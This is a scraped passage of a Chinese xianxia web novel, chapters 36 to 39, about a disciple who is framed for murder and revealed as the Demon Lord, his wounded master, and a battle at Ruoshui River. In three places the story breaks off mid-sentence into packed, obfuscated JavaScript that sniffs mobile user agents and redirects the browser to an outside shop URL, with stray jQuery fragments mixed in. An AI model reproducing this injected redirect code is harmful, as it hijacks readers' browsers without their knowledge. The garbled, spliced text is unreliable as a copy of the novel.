“快抓住他!” “不!不!我没有!” 陌归尘退后,阁前忽然飞出几道黑影。 众人喝道:“恶灵!快!先擒恶灵!生死勿论!绝不能让它们出逃害人!” 各色灵力飞窜,场面一度混乱无比,旁人也无瑕顾他,陌归尘愣在原地,身侧蓦然落下道雪影:“怎么不去帮忙?” 他茫然侧眼。 “师尊,你方才去哪了?” “转眼便不见你了,为师找你半天呢。” “哦。” 他低垂着脑袋,余光一闪而过道黑影,“师尊小心。” 陌归尘不假思索提剑,一剑贯穿闯来的恶灵。 “九师兄!” 尖锐的惊呼,破空而来,叫人恍惚怔愣许久。 九师兄? 眼前黑影褪色,渐渐变成个年轻男子,头顶发冠还穿有根内门弟子特有的桃木簪。 陌归尘握剑的手颤抖不已,自己杀的是同门师兄,并非恶灵,被挑断筋骨的痛意,也随之密密麻麻袭来。 他脱力松开手。 闻笺却握起他手,掌心抚过他眸,温声提点:“障眼法而已,恶灵惯会使诈,仔细被蒙骗。” 经师尊一点拨,他方看清,在场厮杀的十来人,竟全是出逃的恶灵。 那人把剑柄塞进他手:“来,为师看着你,把他们杀了。” 夜里,刮来阵风。 陌归尘站在阁前,骇然醒神,周遭,全是同门尸体,而他手中的无双剑,沾满鲜血。 不…… 他猛地回头。 阁前封印,完好无缺! “闻……闻笺?” 不可能! 师尊断然不能骗他! “来人啊!逃狱了!” 隔着几座凉亭,远方檐下亮起火光滔天,有人边跑边高喝,“大事不好!” “闻青栀出逃了!” “还重伤几位守门弟子!” 逃狱? 不是师尊带他出来的么? 不! 不可能! 师尊? 师尊在哪? 陌归尘杵在原地,拔剑四顾心茫然,师尊在哪? 他没来由跑起来。 青年穿梭在夜色下,最终来到片空地,得见个雪色身影。 那人宛若刚在湖中捞起,水迹浸湿大片雪衫,却丝毫不狼狈,连望来的眼神都那么不容亵渎。 闻笺朝他伸手:“青栀,过来。” 如感召唤。 他不由自主朝闻笺走去。 指尖触碰的刹那。 微凉。 陌归尘猛地推开眼前人:“又骗我!” 他一剑刺过去。 正中那人心口。 师尊的手还在伸向他,眼神深沉、浓烈,仿佛交织着这世间的七情六欲。 那人看他,怜悯又哀恸,自责也心疼,涌现在那双眼的,是人世间浓稠的情感。 复杂,不可名状。 闻笺和他说过的,不伤不灭,不老不死,可眼前人分明一副受创模样。 陌归尘又狠起劲往前捅了一下:“你休想骗我!” 生生贯穿对面人心口。 …… 与此同时,空地对面湖边。 惊慌失措的人群又乱做一锅粥:“不好啦!恶灵也出逃了!七星阁的恶灵不见了!” 话音刚落。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375723|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人便被湖岸对面景象惊得呆若木鸡,一时间皆是张嘴无言,愕然讷在原地。 只见对面空地,滔天灵力浩瀚四泄,强悍而冲破重重结界,白光破天而上,照得整个宗门都恍若白昼。 众人被晃得几近瞎眼。 回神,匆忙赶去。 那片空地,只有面对面对峙的师徒二人。 本该在地牢的闻青栀,浑身萦绕煞气,正手执无双,大逆不道弑师。 那一剑,直贯穿仙尊心口。 * “额……” 脚下踩空的青年,猛地从榻中惊醒,腾起了身子。 坐在榻边,正拿绢帕替徒弟擦冷汗的闻笺,侧头,那人也魂不守舍转过身子,目光呆滞望他,而后,猝不及防扑进他怀。 整个人精神颓靡、神思不宁,脆弱而无助,那下巴轻抵在他肩膀,埋着脑袋,闷闷不乐。 他的手一时僵在半空。 好半晌后,轻抚上徒弟肩背,低问:“梦魇了?” “没。” 闻笺无奈叹叹:“嗓子都哭哑了,还说没,这十年,是不是常常自己躲起来哭?” “没哭。” “说为师是老骗子,你不也是个小骗子?” 话刚完,闻笺便感受到徒弟的手,窸窸窣窣蹭到他心口处,悄悄咪咪摸了摸。 他压下徒弟的手,也读出徒弟心思,低声宽慰:“为师这不好好的,当年那事,就此掀过,修道之人忌执念,易成心魔。” “你……疼不疼?” 闻笺默然片刻,随着情感消散,当年那些记忆,也变得模糊,况且往事不过过眼云烟,只要徒弟安好,他便不负故人所托。 “都过去了,没必要提。” “哦。” 陌归尘含糊应道,又问,“伏魔大战哪天出征?” “后日。” 陌归尘瞥了眼窗外,外头风光正好,后院的青提又熟了一茬,小灵藕正踩在小板凳上摘青提,几名杂役弟子也忙着挖池塘。 池塘…… 好像是那日雪天路滑,他裹着斗篷跟闻笺回来时,发觉这人此前在院中分拣灵植种子。 说要种些荷花,再去灵兽峰要几只灵鸡回来养着,免得他天天跑膳堂。 “师尊,荷叶何时长出来。” “来年开春。” “太远了。” 闻笺轻笑,还是遂他意:“那为师用灵力催熟。” “要多久?” “七日。” “太慢了,师尊能快点么?” “三日。” “还是慢,最好今晚就能吃上。” 闻笺点点他额门:“你这是为难为师。” 陌归尘:“不会,弟子不会让师尊难为的。” 闻笺:“你话里有话。” 陌归尘:“师尊多虑了。” 言罢,陌归尘没再说话,就这么抱着闻笺,这刻,是师徒二人难得的和谐。 闻笺手臂揽过陌归尘,以一个半揽半抱的姿势,由得徒弟虚虚依在他怀里,手掌轻轻拍拍徒弟后背:“多大人了,还跟个小孩似的,还赖着呢?” 话虽如此,却还是有一下没一下地顺抚,低哄:“万事都有师父在,师父给你做主。” “谁让你委屈了?” “没有。” “徒弟长大了,有心事了,开始学着藏着掖着了。” 这声调侃后,陌归尘轻瞟闻笺,再惯你一回。 他如小时候那般,顿时变回小猫,扒拉闻笺衣衫,爬梯似的,三下五除二便倏地蹬到师尊肩膀。 这幕和幼时一模一样。 后爪踩着师尊肩背,前爪扯住师尊耳垂,使出吃奶的力气,怒吼一声:“闻!笺!” 闻笺低笑着去抓猫。 小猫借力一蹬,直接跳到师尊头顶,抓抓挠挠。 “反了天了。” 闻笺继续捉猫,小猫噗一下跳落地,跑走。 二人都说着曾经说过的话。 “慢点,别摔着了,还要回来怪我落霞峰的地不平。” 小猫爪子扒上门坎,探出半颗脑袋,雪白的一小团,像堆积在门外的雪球:“不会。” 因为,回不来了。 * 刚到山脚。 陌归尘接到闻笺的传音灵符。 他们鲜少这样交流,记得上次和闻笺用传音灵符还是十年前,那个中秋月圆夜。 他说:“十五的月亮十六圆,我十六那天带点苍云州的鲜花饼回来,师尊要烹一壶好茶配点心。” 那时的闻笺,过了好些时辰才接传音灵符,嗓音染着浓重哑意,轻嗯了一声。 如今倒是如常清越:“你的小灵藕给你剥了好些青提,回来吃。” 陌归尘:“让它自己吃吧。” 回眸看满山栀子灵树。 还是未开花。 似又能瞧见那日雪天,他的猫性懒劲儿犯了,一路上都踩着师尊走出来的脚印,一步一步随师尊回到落霞峰山脚下的画面。 陌归尘轻叹。 这路可真短啊。 稍不留神,就走到尽头了。 * 另一边,地牢。 浮华派大师姐林月见,正对恶灵百般审讯。 林月见挥起灵鞭,勒住恶灵颈脖,冷声警告:“还不开口么?此乃噬魂鞭,有你好受!” 恶灵嗤笑,不屑一顾阖眼,任人施刑。 她烦躁皱眉,转身朝门外华云舟禀报着:“师尊,这恶灵是个硬骨头,恐怕还得熬一阵子,才能吐出点端倪。” 华云舟也是一顿头疼,他轻摁眉心:“那为师先去看看书儿那孩子。” 浮华派地牢离主峰不远,不消多时便停在晏玉书住所。 华云舟抬手敲门。 “书儿?” “醒了没?” 久未得回应,华云舟直接推开门,却见自己这小徒弟背对着他,跪在房中。 他匆匆走进去,无奈责备:“你这孩子,醒了也不应人,而且,好端端你跪——”话音戛然而止。 华云舟扶人的手猛地一颤。 地上人早已僵直,死去多时,喉间还有个恐怖的血窟窿。 一剑穿喉。 死不瞑目。 良久后,房中传出声颤颤巍巍的哀嚎:“书儿!” 门外。 一名弟子跌跌撞撞跑来:“掌门不好!大师姐她她啊——”猝然被房中男子死状吓得踉跄跌坐。 “月儿?” 霎时苍老几十岁的男子,木讷转头,目光空洞涣散:“月儿,我的月儿又如何了?” “你倒是说话啊!” 怒吼声震耳欲聋,报讯弟子呆呆愣愣爬起,方知开口:“大师姐本在地牢审讯恶灵,久未出来,我等进去查看,方知恶灵抱着师姐自曝,师姐重伤,昏迷前只说了三个字,是是是……” 华云舟哪还顾得仪态,一把揪起报信弟子衣领,满脖子青筋炸裂:“是什么?” “是……陌归尘。” 37. 魔界左护法, 37. 接到仙盟铜讯时,二竹弋正在玄灵宗逗猫。 大殿之中。 玄袍金冠男子,漫不经心抱着只白猫,他眉梢微压,睫羽盖住邪气十足的眸,五指有一下没一下梳理猫毛。 那抹龙须刘海垂在脸侧,便更显雍容散漫,他唇角含笑:“明日便是伏魔大战,贵派发生何事?竟劳烦华掌门兴师动众跑一趟。” 华云舟声声哀泣:“二盟主,您一定要为我做主啊!” 两位爱徒,一死一重伤,华云舟整个人沧桑不已,满目悲恸,声泪俱下:“陌归尘那孽障竟做出如此伤天害理之事,可怜我两位徒儿!尤其是我们书儿!如此惨死!着实死不瞑目!” 华云舟捶胸顿足:“我的徒儿啊,死得好惨。” 望向留影浮珠照出的景象,二竹弋盯着那个血窟窿,若有所思片刻。 啧,下手有犹豫啊。 这剑距离正中喉咙略有偏差,不难揣测出下手之人出剑前,内心煎熬而挣扎。 见二竹弋皱眉,华云舟也顺理成章以为这位盟主是在为他的书儿的惨死痛惜。 他略感安慰,抹泪收起浮珠,又听座上男子轻飘飘问:“怎么不见玄胤仙尊?” “我们闻师弟他临急临忙闭关去了,想来那混账东西也是见师尊闭关,没人管得了他,便痛下杀手!他此前就与我书儿有过节!阴险歹毒如他,方能这般报复我们书儿!” “更是勾结恶灵!” “天一门灭门惨案,绝对与此子脱不了干系!” 他连翻控诉后,上位人一针见血问:“本座怎知不是你片面之词?” “盟主放心,我必然是证据确凿,才敢来叨扰。”华云舟抬手变出盏青莲琉璃灯,“此灯,想来见多识广的盟主也认得。” 二竹弋点头:“嗯。” 青莲琉璃灯是极为罕见的极品天阶仙器,灵力驱动后,能照出被抹掉的气息。 华云舟祭出留影浮珠,挥袖,半空之中霎时出现道水镜,镜中画面清晰无比,是他在晏玉书血窟窿处使用青莲琉璃灯照出了无双剑气息。 他抬掌示意道:“盟主请看,伤我徒儿的,是无双剑,此剑本就非凡品,能使动之人寥寥无几,更是那狼心狗肺孽障的本命剑,除了他,还能有谁?” “你所言确有道理。” “且我书儿惨状也与天一掌门相似,皆是死不瞑目,跪地而亡,大抵出自同一人手法。” “您再看。” 华云舟挥手,半空画面霎时一变,成了地牢,而他也正用青莲琉璃灯,照出陌归尘本人的气息。 “这人,夜深人静,私自潜入地牢,本就可疑,还停在那关押恶灵的牢房前许久,很难不让人生疑!” “偏偏又在次日,连日来都一副贱骨头的恶灵,竟一改往常傲慢姿态,抱着我家月儿自曝。” “您若说陌归尘这竖子清白?” “我是真不信。” “联系种种,并非我公报私仇,实在是他嫌疑最大!” “华掌门此言不虚。” 听着华云舟头头是道分析,二竹弋淡淡瞟人,似笑非笑的,说着公正严明的话,“但,还得亲自盘问盘问方可,不能就这么坐实他的罪名,他人呢?” 华云舟愤愤道:“翻遍浮华派也不见孽障踪影,倒是在他落霞峰厢房翻出本诡秘心术,尤像邪术!我就说此子绝非善类!” 二竹弋还在逗猫,白色的小猫伸出爪子抓他腰间的铃铛,抓得满殿铃铛响。 他温柔看着小猫玩铃铛,问:“依你之见,当如何?” 华云舟声声指控:“那祸害胆敢如此大逆不道,简直目无王法!罪大恶极!” 张牙舞爪,浑身带刺,凶残又不乖,扎得师父浑身是伤,确实是只欠管教的小猫。 “自然是下仙盟通缉令,天涯海角,也要将其缉拿归案!” 整日乱跑,也不嫌累,这会子也不知猫到哪里睡懒觉去了,是该逮回来。 “绑上诛仙台,凌迟剔骨,碎尸万段,以告慰亡魂。” 小尺玉其实很怕疼,只是嘴硬不说罢,确实该绑起来。 绑到床上,抚软硬刺,再亲到岔气,亲到喵喵求饶,折腾坏了,哪还有劲儿胡闹? 华云舟:“盟主以为如何?” 二竹弋颔首:“甚好。” * 翌日。 伏魔大战如期而至。 出发前夕,黄金黄银轻衣三人兴致盎然跑到落霞峰,却不见陌归尘踪影。 整座峰冷清寂静。 一个影子都没有。 “奇怪,好好的不见人了?” 三人面面相觑,也才得知玄胤仙尊竟也闭关了。 大战在即,闭什么关? 这对师徒真是一个赛一个性情乖张啊。 几人没辙,唯有随队伍离开。 仙门十四州各门各派汇聚一起,浩浩荡荡,御器飞行,直奔若水河,也各怀鬼胎,其中不乏憧憬能在此战中扬名立万,如玄胤仙尊那般,一朝斩杀妖魔邪道,从此声名显赫四海八荒。 天上腾云驾雾的阵仗,晕出各色飘逸流光,直把底下凡人看得呆滞,以为是天降祥瑞。 纷纷自发叩首。 不少人望见底下百姓跪拜,竟莫名暗爽,嘴角一时上扬得几近压不住。 又幻想到若是在伏魔大战立功。 怕是更加了不得。 便是愈发殷切,加快飞行速度,恨不能瞬移到若水河,直捣黄龙,取下无极大魔头首级。 若水河。 若水河位于仙魔两界交织地,乃千年前三界动乱,神君陨落后,神泽化成甘霖雨露修复满目苍夷,汇聚到此,成河。 神恩深厚,生灵难承恩泽,落进其中,皆会魂飞魄散。 又为魔界的护城河。 往日奔腾浩瀚的河面,此刻沉静异常,八百里冰封,浮光跃金,如梦似幻,像与河上十万魔兵那般,静候着谁。 仙门赶到若水河时,方惊觉魔界群龙无首,莫说大魔头,就连那位叱咤风云又神秘莫测的左护法也不见踪影。 虽严阵以待,可比起应战,这群魔族,手执旗幡,肃穆郑重,更像在恭候什么。 也似在告知:你们这些小喽啰不足为惧,我们还有更重要的事,少在此碍手碍脚。 那股子气势,完全不把他们放在眼里,倒显得他们并非来征战,而是来朝拜! 仙门如蒙奇耻大辱。 莫名被挫的仙门,破口大骂道:“你们魔界好嚣张!” “……” 回答他们的是片寂静。 十万魔兵,无人出声,甚至懒得赏他们半分眸光。 出口之人,是一派掌门,被如此折辱,顿时恼怒,他掐诀,双指并拢,击出自己最引以为傲的本命心法,噬魂火焰。 “受死!” 骇人火光疾速飞出。 呼一声。 赤红火光熄灭在半空。 “谁?” 他惊恐一喝,这战场竟还有实力如斯强悍之人,未现身,就已无形之中灭掉他的本命心法。 “装模作怪的!算哪门子英雄好汉?” 话音刚落,红光破空而现,一道身影翩然落地。 红影窈窈,虚虚立在仙魔两批人马中间,那人眉梢轻佻,瑰丽而慵懒。 是陌归尘。 杵在人群中的黄金连忙跳起来招手:“陌兄陌兄!” “你站错队啦!快来快来!” “咱们在这儿呢!” “等下让你瞅瞅我的实力!手刃大魔头,不在话下!” 奈何离得远,那人似乎并未听到他的喊话! 他的话语,很快被湮没在前方的声声谴责里。 “陌归尘你这孽障!” “你果然投奔魔界了!看来是你勾结的恶灵无疑。” “诸位!此子已背叛我浮华派!各位不必手下留情!” “陌归尘你好歹毒!残害同门!勾结恶灵!偷练邪术!堕落成魔!真是罄竹难书!” 陌归尘嗤笑:“还有吗?” “有!” 众人之中忽而响起道声音。 随后走出一名男子。 那名男子草草朝仙门首领的二竹弋行礼:“盟主,我这有颗留影浮珠,纪录了些画面。” “哦?” 二竹弋眉眼轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其余人也百思不得其解,十年过去,从前那孽障非但没死,实力还更上一层楼? 没道理呀! 况且,不过十年,此人修为竟如此深不可测,瞒天过海,日日在仙门悠哉悠哉度日! 将他们玩弄于股掌之间! 置仙门脸面于何地! 众人脸色一阵青一阵白,来回变幻,精彩极了。 “怎么可能!不可能!” “身死魂灭还能起死复生?” “邪术!定是邪术!” “对!从前就心术不正!” “好啊!那就新账旧账一起算!必叫他此次魂飞魄散,永世不得超生!” “魔头,伏诛!” …… 仙门以二竹弋为首,某位宗主谄媚十足,走近几步,与人套近乎:“盟主,依您之见,生擒大魔头还是当场诛杀?” 二竹弋戏谑斜觑来人。 他淡笑一下。 没说话。 二竹弋手里还把玩着个栀子花香的香囊,心道,这戏也看够了,便是率先出列,朝前走去。 玄灵宗三千弟子,亦步亦趋追随自家掌门,来到众仙门门派前方,仍是没停下的意思。 “盟主!您这是?” “盟主!小心魔族使诈!” …… 后方声音嘈杂,二竹弋置若罔闻,不疾不徐来到陌归尘身侧,衣摆一甩,单膝跪下。 “魔界左护法,率十万魔兵,恭迎无极魔尊归位。” 这话落地。 如古老而沉闷,庄严又神圣的铜钟声,自四面八方裹挟而来。 震得仙门众人顿失五感。 若水河十万魔兵齐刷刷伏地,跪拜叩首,擂鼓滔天,响彻云霄,呐喊声震耳欲聋:“受命于天,既寿永昌,三界独尊,唯我无极,文成武德,千秋万载!” “恭迎无极魔尊归位!” 38. 心疼到滴血。 38. 扑一声。 黄金也噗通一下跪在地。 黄银:“你跪什么?” 黄金嗷出一嗓门:“腿腿腿软,扶我一把。” 他双眼望天,生无可恋扒拉自家妹妹,嗓子破音:“妹妹呀!你哥哥可能要完!我当着陌兄的面骂了两个人,好家伙,两人都是他……完了完了!” 黄银:“……” 轻衣:“……” 轻衣感慨万千:“原来青栀师兄尚在人世,待我好的,向来都是同一人。” 随后,头也不回离开。 黄银追上:“你去哪?” 轻衣:“魔界的实力毋庸置疑,我就不自取其辱了,我去寻个风水宝地,立碑。” “啊?” 黄金也急急忙弃剑,小跑跟过去:“你们带我一个,我将功赎罪。” 人群中,一名模样十七岁左右的少年,眉眼柔和望向这三人。 也尾随三人消失。 仙门众人还懵在原地。 丝毫未注意四人就这么众目睽睽下扬长而去。 他们若被狠狠扇了一巴掌,火辣辣地痛! 更是气得牙痒痒! 这些日子,他们唯其马首是瞻的盟主,竟是魔界混进仙门,当了十年细作的左护法? 足足十年! 这魔界左护法潜入仙门十年,无一人得知,伏魔大会,还那般装模作样,结果那人从到到尾都与陌归尘,不,闻青栀这孽障,是一丘之貉,狼狈为奸。 看戏呢! 这两人背后都不知怎么偷着乐呢!真是把仙门耍得团团转! 笑话! 好大一场笑话! 华云舟差点喷出口老血,自己昨日还告状到二竹弋跟前,求其做主,哪知所求之人竟是魔界中人,还是陌归尘的狗! 自己可真是跳梁小丑! 被戏耍至此。 他愤懑、恼怒、憎恨……所有情绪一股涌起,堵在胸腔,结于心头难排遣。 “得知我没死,”陌归尘恹恹斜觑仙门众人,“很失望?” 面子挂不住的人,气得七窍冒烟,那还沉得住气,恨不能生啖陌归尘骨肉。 纷纷叫嚣:“你这魔头别得瑟太早!” 陌归尘桀骜不驯轻瞟:“我是魔,然后呢?” 银丝被风糊到眼角,刺辣感叫人洇出点泪迹,他食指轻勾额角,撩起头发。 “你们能奈我何?” 刚还义愤填膺,脸色一阵青一阵白地唾骂泄愤之人,须臾间皆收口愣住。 这撩发的动作,真是与西子捧心有异曲同工之妙。 做者无心。 观者却……被媚到了。 不! 自己怎会被一位男子媚到? 邪术! 绝对是邪术! 对对对!就是邪术!只有邪术,方能比合欢宗还会狐媚惑人! 众人又一顿恼羞成怒! 恨不得将之斩之而后快,且取下魔头性命,怕是也能直至被推选为新一代仙盟盟主,功成名就,备受敬仰与瞩目。 众人各怀心思。 便又见这还没消停,他们的前任盟主,魔界左护法从储物戒里搬出张绣金丝木梨花软椅。 那人还似嫌不够,竟贴心放下两个软枕靠背。 抬手示意:“坐。” 随后,更是朝陌归尘递上杯鲜榨的青提果汁。 拿这伏魔大战当什么? 陌归尘也没拒绝,敛敛衣摆坐下,抬手去接果汁。 白净的指尖先压到杯口,碰着杯沿往下移,捏紧玉杯杯托,自顾自品尝。 仙门百家无言以对,这战场于魔界而言,似戏台,他们仙门,就是台上的戏子,给对方演绎了一场弥天笑话。 气煞我也! 众人咬碎一口银牙,指关握得咔咔响,祭出法器:“你们魔界!别欺人太甚!” “然后呢?” 那人慵懒托腮,明明也没说什么,众人却从那人脸上读出“就喜欢你们看不惯我,又打不过我的气急败坏模样”的戏谑来。 尤在说:不爽啊?憋着。 无任何实质伤害。 羞辱感却极强。 看得人脸色铁青,怒气冲天,却又偏生被这股子盛气凌人的姿态吸引。 从前他们就知闻青栀姿容艳绝,褪去以往青涩,配上这头银发,竟又是另一番迷人。 比魅魔还会魅惑人。 难怪二竹弋那狗比会口出狂言“仙门十四州加起来,都不及无极魔尊风华绝代”。 仙门百家陡然摇头! 暗念清心咒。 呸! 必是下作邪术! 华云舟:“如此戏耍我们,你很得意是不是?” 他又缓缓开口:“果然,好人不长命,祸害遗千年!” 陌归尘嗤之以鼻:“还挺会给自己脸上贴金。” “我有说错吗?” 华云舟到底也是看着闻青栀长大的,这人看似随性而为,没心没肺,实则不过是因留不住,才故作潇洒。 而他自然也清楚。 陌归尘也许无所畏惧。 但! 于闻青栀而言,什么话最其诛心,最能一针见血痛击此人。 华云舟冷笑,注视陌归尘,毫不留情解开那道伤疤:“闻青栀,你那么爱你二姐姐,怎么还不去陪她?” 如觉不够,他又魔怔似的,在那道鲜血淋漓的疤痕上撒盐:“看来你的爱不过如此,廉价得紧!” 锋利的言辞,化成钝刀。 字字割肉。 华云舟满脸得意,目光病态又扭曲,欣赏着陌归尘唇角那丝散漫的笑,凝固。 愈渐敛起云淡风轻的姿态。 一点一点失去意气风发。 哐一声。 玉杯摔落地面,撒出半杯青提汁。 华云舟暗爽不已:“她那样好的人,凭什么拿命换你十年苟且偷生!” “闻青栀,该死的是你。” “你闭嘴!” “呵。” 见人失态至此,华云舟还想加大剂量,天空倏然降下道气流,那风吹得人迷了眼。 在场人顿时士气大振: “是玄胤仙尊!” “尊上要亲自手刃逆徒?” “自古仙魔不两立!仙尊乃仙门第一人,必不会徇私枉法!定是来大义灭亲的!” “那可真是大快人心!” …… 白光降落陌归尘几步外。 虚影顿时现身。 陌归尘僵涩攥攥手指,匆匆撤走座下椅子,站起身来。 端详徒弟装扮,闻笺恍惚一怔,梦回十年前。 这套衣裳,乃至身上饰品,是十年前及冠那日,行及冠礼前,他亲手为徒弟挑选的。 十年未见。 他的徒弟做到名扬天下。 顶峰相遇。 他的徒弟却是早生华发。 闻笺侧眸,望向魔界入口,瞬间透视千里,视线牢牢定在那座城楼。 魔界本就地势最高耸,那座城楼更是魔界最高建筑,楼顶遍布徒弟气息。 浓郁,而久不化。 [倘若有天我们走散,那我便往高处爬,只要我站得足够高,师尊便定会来接我] 勿怪徒弟说“造化弄人”。 是师父的错。 是师父来迟了。 陌归尘低头,一遍又一遍掐诀净手,净得浑身一尘不染,才淡淡道:“师尊也来了?” 他抬起头,眸中含着层雾气,酝酿许久,始终没化作泪水落下,只目不斜视闻笺:“是,我有罪,我供认不违。” “我觊觎师尊、残杀同门、勾结恶灵、叛出师门、堕落成魔、大逆不道,罪不容诛,死有余辜。” 他挽出自嘲的笑:“所以师尊要来亲自清理门户?” 片刻后,又高高拿起,轻轻放低道:“其实,师尊想杀我,开口便是,何须亲自动手?也不嫌我的血,脏了你的眼?” 陌归尘朝闻笺抽出无双剑。 握剑的手指一旋。 剑身陡然翻转。 剑尖直抵自己心口。 若水河畔,八百里冰封的河面,在闻笺到来那刹,恢复浩瀚,奔流不息,更胜从前。 浪潮声滚滚滔天。 陌归尘止不住地想,幼时总爱赖在闻笺书房,黏着师尊,然后被趁机逮住念书写字。 那会儿总感慨日子漫长,也不认真,简单连一句“鸟之将死,其鸣也哀,人之将死,其言也善”都不懂。 如今却切实体会了一遭。 陌归尘面向闻笺,一字一句道:“从前种种,譬如昨日死,从后种种,譬如今日生。” “从今往后,勿复相思,锦水汤汤,与君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375725|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长诀。” 而后,是片缄默。 这场无声对峙中。 对面人终于松动。 他感知到,闻笺在向他伸手,喊的是他本名。 那人说:“青栀,花开了。” 花开了? 落霞峰的栀子花开了? 耳畔似飘过点对话: [等花开了,记得叫我来看] [嗯] 所以…… 师尊不是来杀他的。 师尊是来兑现承诺。 事已至此,是非曲直,已不重要,有人愿意向他伸手。 足矣。 怔怔出神间,闻笺又问他:“眼睛怎么了?” 陌归尘总以为自己伪装得很好,却又总有人一眼勘破他的逞强。 他态度高傲强硬,当着仙门百家的面,撇清二人关系,冷然启唇:“与你何干。” 打小就被闻笺调侃“两斤的猫,两斤反骨”,但并不影响师尊一如既往,包容他的冷嘲热讽。 那人声音比往常哑涩,也比从前直白,倒显得矫情,险些吞没在若水河翻腾的水声里。 闻笺说:“师父会心疼。” 陌归尘正面向闻笺所在方向,以他的实力,双目失明固然瞧不见,但只要运起灵力,也能模糊感知世间万物。 他感知到闻笺在看他。 失明之人,余下感官通常会变得更为敏感,他听到闻笺的呼吸都停顿了一息半。 足足一息半。 那人才知向他问:“怎么害的眼疾?” …… 观戏半天的仙门百家,见大魔头被仙尊牵制出神,藏在其中蠢蠢欲动的人,纷纷抓住机会,蓄力憋大招。 生怕晚一步便吃了亏。 顷刻,数以千计道灵力,以迅雷不及掩耳之势冲向陌归尘。 生死霎那间。 陌归尘就这么面向闻笺。 他素来对闻笺不设防,只要闻笺在身侧,他的防御结界从不自动生效,连结界都这般信赖,便是最好证明。 他也知仙门偷袭。 陌归尘束手就擒收剑,并自暴自弃地想,死在旁人手中也好,免得自己的血脏了师尊炼制的剑,还得劳烦师尊擦剑。 都要死了。 就别再给师尊添麻烦罢。 陌归尘缓缓阖眼。 预想的痛感,久未袭来,倒是手腕缠上根把脉的灵线,眼帘虽阖,在那数不清的攻击汇聚而来时,滔天白光屏障于脚边竖起,刺得他眼睛生疼。 强光源自他脖子,冲破天际。 霎时吸收所有攻击。 对面人也踉跄倒退半步,猛然跌跪,单膝拄地。 咳出沉闷的一声。 陌归尘不假思索扑过去接闻笺,崩断的纯白灵线,凌乱挂在二人交叠的绣袍。 他搀扶闻笺:“你、” 话未完,陌归尘又感受到锁骨上的吊坠黏腻不已,似乎滑下点液体。 他摸上脖子,指尖挑进衣领,一把拽下吊坠,暖流附着指缝,淡腥甜味袭来,陌归尘鼻尖耸动,那是……血? 竟是渗血! 可骨质吊坠为何会滴血? 他半扶半架闻笺,模糊感知到此人浑身渗出冷汗,大片水迹,浸湿衣衫,灵力急速枯竭衰退,颓然脆弱。 他从未见过这样的闻笺,比起十年前挨一剑的那个夜,有过之而无不及。 所以这人,又在瞒着他发了什么疯?一天天净折腾自己! 真该锁起来! 闻笺着实虚弱,需得赶紧带回魔宫疗伤,陌归尘无暇顾及太多,只侧眼,眉梢压出片彻骨冷意。 手心紧攥染血吊坠。 他居高临下睨视这群呆滞在原地的罪魁祸首。 众人也难料这转变,那攻击分明是打在大魔头身上,遭到反噬的竟是玄胤仙尊! 这这这…… 怎会如此? 迎上陌归尘目光,皆是不寒而栗,慌乱收手,仍心有余悸,又自欺欺人把手藏到身后。 大魔头的眼神,太可怕了,是毫不掩饰的杀意。 那眸底簇动的火光,仿佛来自地狱的红莲业火,能将人烧成骨灰,烧得魂飞魄散,烧得永世不得超生。 不知所措的人群,眉心突突乱跳,尤像做错事的孩子,讷讷顿住,只听到句宣判—— “闻笺若死,本尊让你们仙门十四州陪葬。” 39. 铜雀春深锁二乔。 39. 仙门众人眼睁睁目睹陌归尘带走重伤的闻笺。 这场伏魔大战。 最终以仙门重伤仙门魁首为结果,荒谬收场。 “混账!” 华云舟脸色阴沉得可怕,袖口一甩,掌心毫不留情往后一打,无差别攻击,直将最前面十几人掀翻,杀鸡儆猴道:“都有谁?自觉站出来,否则休怪我浮华派不死不休!” 他固然恨闻青栀,却也真心珍惜与闻笺的师兄弟情谊,目睹师弟受伤,岂能咽下这口气,那可是无坚不摧,从未有败绩的玄胤仙尊啊! 就为了那个孽障! 真是昏了头! 他不信师弟看不出那孽障就是原来的闻青栀。 不然以师弟性情,何以非要收陌归尘为徒,还百般维护。 从前,他认定师弟是清者自清,加之这人本就对外冷清,与世无争,更是身居高位,自然不可能逢人便解释,如今回想种种,华云舟难免生疑…… 外界的流言蜚语,到底是凭空捏造,还是无风不起浪? 与此同时,一个荒唐至极的猜想,浮现华云舟心头—— 闻师弟对自己的徒弟,当真只有师徒情么? …… 在场众人,不约而同偷瞄怒目横视的华云舟,皆是惶恐不敢作声。 浮华派实力顶尖,不少人后怕得紧,心有畏惧,也难免忧心仙尊被魔头掳走,岂非是肉包子打狗?那还回得来么? 这孽徒早想亵渎师尊,仙尊此去,怕不是要被啃得骨头都不剩! 玄胤仙尊一世英名,不该落得此下场啊!高岭之花,就该明月高悬,皎洁流芳,凭什么被狼子野心的宵小鼠辈拽下神坛! 有人硬着头皮提议:“华掌门,事有轻急缓重,当务之急,定下营救仙尊的决策方是顶要紧的大事啊!” “是呀是呀!救人要紧!” * 苍云州,惊华山。 